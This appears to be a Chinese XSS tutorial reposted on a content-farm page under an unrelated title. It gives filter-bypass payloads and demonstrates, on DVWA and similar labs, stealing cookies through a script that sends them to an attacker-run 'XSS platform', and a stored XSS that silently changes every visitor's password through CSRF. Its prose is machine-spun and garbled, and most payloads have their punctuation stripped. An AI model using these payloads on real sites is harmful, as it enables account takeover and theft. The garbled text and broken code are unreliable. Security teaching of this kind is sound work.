浅谈XSS攻击与防范:云服务器访问密码

時間:2023-12-29 02:51:35 作者:云服务器访问密码 熱度:云服务器访问密码
云服务器访问密码描述::

XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户阅读该页之时,嵌入其中Web里面的Script代码会被执行,从而到达恶意攻击用户的目标。

相信以上的辩白也不难懂得,但为了再具体些,这里举一个简朴的范例,就是留言板。我们知道留言板通常的工作就是把用户留言的内容呈现出来。正常场合下,用户的留言都是正常的语言文字,留言板显示的内容也就没弱点。然而这个时候假如有人不按套路出牌,在留言内容中丢进去一行”scriptalert(“hey!you are attacked”)script,那么留言板界面的网页代码就会变成形如以下:

scriptalert(“hey!you are attacked”)script

那么这个时候疑问就来了,当阅读器分析到用户输入的代码那一行时会产生什么呢?答案很显然,阅读器并不知道这些代码变更了原本程序的意图,会照做弹出一个信息框。就像这样。

其实归根结底,XSS的攻击方式就是想设法“唆使”用户的阅读器去执行一些这个网页中原本不存在的前端代码。可疑问在于尽管一个信息框突兀弹出来并不怎么友好,但也不至于会造成什么真实侵害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在XSS中除非恶作剧,不然是不会在恶意植入代码中写上alert(say something)的。在真正的利用中,XSS攻击可以干的事情还有许多,这里举两个范例。

  • 盗取网页阅读中的cookie值。在网页阅读中我们经常涉及到用户登录,登录完毕之后服务端会返回一个cookie值。

    • 这个cookie值相当于一个令牌,拿着这张令牌就等同于证实了你是某个用户。假如你的cookie值被盗取,那么攻击者很可能能够直接应用你的这张令牌不用密码就登录你的账户。假如想要通过script脚本牟取当前页面的cookie值,通常会用到cookie。试想下假如像空间说说中能够写入xss攻击语句,那岂不是看了你说说的人的号你都可以登录(不过貌似的cookie有其他验证举措保证同一cookie不能被滥用)

      • 劫持流量实现恶意跳转。

        • 这个很简朴,就是在网页中想设法插入一句像这样的语句:

          scriptindolocationhref=bau;script那么所拜访的网站就会被跳转到百度的首页。

          早在2011年新浪就曾爆出过严重的xss破绽,导致大批用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。

          那xss破绽很容易被应用吗?那倒也未必。

          终究在实际利用中eb程序往往会通过一些过滤条例来结构代有恶意代码的用户输入被显示。不过,这里还是可以给大家结算一些常用的xss攻击绕过过滤的一些想法,算是抛砖引玉。(以下的绕过方式皆通过渗入测试平台Web For Pentester 演示

          • 这个绕过方式的显露是由于网站仅仅只过滤了script标签,而没有斟酌标签中的大小写并不阴碍阅读器的辩白所致。具体的方式就像这样:

            • 应用语句:

              1921681102xssexample2php?name=sCriptalert(hey!)scRipt

              • 应用过滤后返回语句再次构成攻击语句来绕过。

                • 这个字面上不是很好懂得。用实例来说。

                  如下图,在这个范例中我们直接敲入script标签发明返回的网页代码中script标签被去除了,但其余的内容并没有变更。

                  于是我们就可以人为的制造一种偶合,让过滤完script标签后的语句中还有script标签(终究alert函数还在),像这样:

                  1921681102xssexample3php?name=sCriscriptptalert(hey!)scRiscriptpt

                  发明疑问了吧,这个应用原理在于只过滤了一个script标签。

                  • 并不是只有script标签才可以插入代码!

                    • 在这个范例中,我们尝试了前面两种想法都没能胜利,原因在于script标签已经被彻底过滤,但不要方,能植入脚本代码的不止script标签。

                      例如这里我们用img标签做一个示范。

                      我们应用如下方式:

                      1921681102xssexample4php?name=img src=123 onerror=alert(hey!)

                      就可以再次舒畅的弹窗。原因很简朴,我们指定的图片地址基本不存在也就是一定会产生过错,这时候onerror里面的代码天然就得到了执行。

                      以下列举几个常用的可插入代码的标签。

                      a onmousemove=’do something here’ 当用户鼠标移动时即可运行代码

                      div onmouseover=‘do something here’ 当用户鼠标在这个块上面时即可运行(可以配合eight等参数将div覆盖页面,鼠标不划过都不行)

                      相似的还有onclick,这个精华击后才能运行代码,条件相对苛刻,就不再详述。

                      • 编码脚本代码绕过关键字过滤。

                        • 有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被阅读器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

                          例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1),所以构建出来的攻击语句如下:

                          1921681102xssexample5php?name=scripteval(\u0061\u006c\u0065\u0072\u0074(1))script

                          • 主动闭合标签实现注入代码。

                            • 来看这份代码:

                              乍一看,哇!自带script标签。再一看,WTF!填入的内容被放在了变量里!

                              这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有领会定义。

                              思路有了,接下来要做的就简朴了,应用语句如下:

                              1921681102xssexample6php?name=;alert(I am ing again~);

                              功效如图。

                              回看以下注入完代码的网页代码,发明我们一直都在制造偶合。。

                              先是闭合引号,然后分号换行,参加代码,再闭合一个引号,搞定!

                              • 组合各种方式

                                • 在实际运用中破绽的应用可能不会这么直观,需要我们不断的尝试,甚至组合各种绕过方式来到达目标。

                                  介绍完一些常用的绕过方式,再倒回来讲一下XSS分类,由于下面讲具体的利用时会用到。

                                  XSS攻击大致上分为两类,一类是反射型XSS,又称非长久型XSS,另一类则与之相对,称作储存型XSS,也就是长久型XSS。

                                  先来讲什么是反射型XSS。其实,我们上面讲XSS的应用策略时所举的范例都是非长久型XSS,也就是攻击相对于拜访者而言是一次性的,具体表现在我们把我们的恶意脚本通过url的方式传递给了服务器,而服务器则只是不加处置的把脚本“反射”回拜访者的阅读器而使拜访者的阅读器执行相应的脚本。也就是说想要触发破绽,需要拜访特定的链接才能够实现。

                                  再说储存型XSS,它与反射型XSS最大的差异就是服务器再收取到我们的恶意脚本时会将其做一些处置,例如储存到数据库中,然后当我们再次拜访雷同页面时,将恶意脚本从数据库中掏出并返回给阅读器执行。这就意味着只要拜访了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。还记得在文章开头提到的留言板的范例吗?那通常就是储存型XSS。当有人在留言内容中插入恶意脚本时,因为服务器要像每一个访客呈现之前的留言内容,所以后面的访客天然会收取到之前留言中的恶意脚本而不幸躺枪。这个过程一般而言只要用户拜访这个界面就行了,不像反射型XSS,需要拜访特定的URL。

                                  区别完两种XSS类型,下面来讲几个实例利用。

                                  • 劫持拜访

                                    • 劫持拜访就是在恶意脚本中插入诸如scriptindolocationhref=bau;script的代码,那么页面就会跳转到百度首页。劫持拜访在长久型和非长久型XSS中都对照常被应用。长久型XSS中劫持拜访的危害不用说大家都清晰,但有人会问非长久型XSS中劫持拜访有什么作用呢?很简朴,试想下像,bau这样的域名下显露非长久型XSS,那么在发送钓鱼链接时就可以通过等域名进行跳转,一般人一看到之类的域名警觉性会降落,也就更容易受骗了。

                                      • 盗用cookie实现无密码登录

                                        • 具体原理上文已经提到,这里做一个具体演示。因为窃取的cookie需要传回给攻击者,因此往往需要一个服务器来收取窃取的cookie,这也就是xss平台的作用了。网上的xss平台许多,但动手搭建一个也不难,建议有条件的自己搭建。

                                          首先登录平台后台获取到js脚本地址为127001XSStemplatedefaultjs,所以我们需要做的是把这段代码植入指定页面。

                                          script type=textjavascript src=127001XSStemplatedefaultjsscript

                                          (这里以DVWA渗入测试平台为例)

                                          我们发明网页对于message长度有限制。审查元素看一下。

                                          发明最大长度有限制,但这仅仅是前端的限制,直接双击改动成更大的数字即可。再次尝试,没疑问,我们已经将脚本植入完毕。

                                          然后就是坐等别的用户拜访这个界面。

                                          这时,另一个用户gordonb登录并拜访了留言界面,那么他的cookie就会被盗取。我们可以从xss平台的后台获取到。

                                          拿到cookie之后要登录他的帐号就好办了。

                                          打开登录界面,调出火狐的firebug插件,调至cookie选项卡(留心,假如你的firebug插件没有cookie选项卡,请再安装firecookie插件即可看到)

                                          然后依次点击cookies-create cookie,随后再弹出的界面中填入两个xss平台获取到的cookie,如图

                                          这里留心要把我箭头所指的场所勾上,这是设置cookie有效期的场所,不然会在设置完下一秒cookie就失效。

                                          完成之后再次刷新页面,发明已经不是之前的登录界面了,而是登录后的界面。至此,一个从cookie盗取到应用的过程就已完成。

                                          • 配合csrf攻击完成恶意请愿

                                            • 先简朴辩白以下csrf攻击。Csrf攻击就是在未经你允许的场合下用你的名义发送恶意请愿(比如改动密码,银行转账等),下面演示一个用xss配合csrf改动用户密码的范例。

                                              首先对改动用户密码的界面进行抓包。

                                              发明没有对原密码进行校验。于是一股狠毒的气力油然而生:要是在xss的恶意脚本中自动提交get请愿改动密码的话。。。

                                              说干就干,具体插入语句如下。

                                              script type=textjavascript src=127001testvulnerabilitiescsrf?passord_ne=123456passord_conf=123456Change=Changescript

                                              有人会问,这不是引用脚本吗?其实不然,本性上这还是发起了一起get请愿,因此可以直接采用。与上例一样,插入到message中,再坐等上钩。等下一个用户拜访该界面时,密码就会被改为123456惹~

                                              我们再看下拜访该页面时的抓包场合,发明每次拜访该页面都发送了更换密码的请愿

                                              功效看数据库(密码md5加密)

                                              拜访了该页面的用户密码都被更换了。

                                              防止策略:

                                              都说闺蜜知彼方能百战不殆,知道了xss攻击的原理那么防备的想法也就显而易见了。

                                              首先是过滤。对诸如script、img、a等标签进行过滤。

                                              其次是编码。像一些常见的符号,如在输入的时候要对其进行转换编码,这样做阅读器是不会对该标签进行辩白执行的,同时也不阴碍显示功效。

                                              最后是限制。通过以上的案例我们不难发明xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防备。

站長聲明:以上關於【浅谈XSS攻击与防范-云服务器访问密码】的內容是由各互聯網用戶貢獻並自行上傳的,我們新聞網站並不擁有所有權的故也不會承擔相關法律責任。如您發現具有涉嫌版權及其它版權的內容,歡迎發送至:1@qq.com 進行相關的舉報,本站人員會在2~3個工作日內親自聯繫您,一經查實我們將立刻刪除相關的涉嫌侵權內容。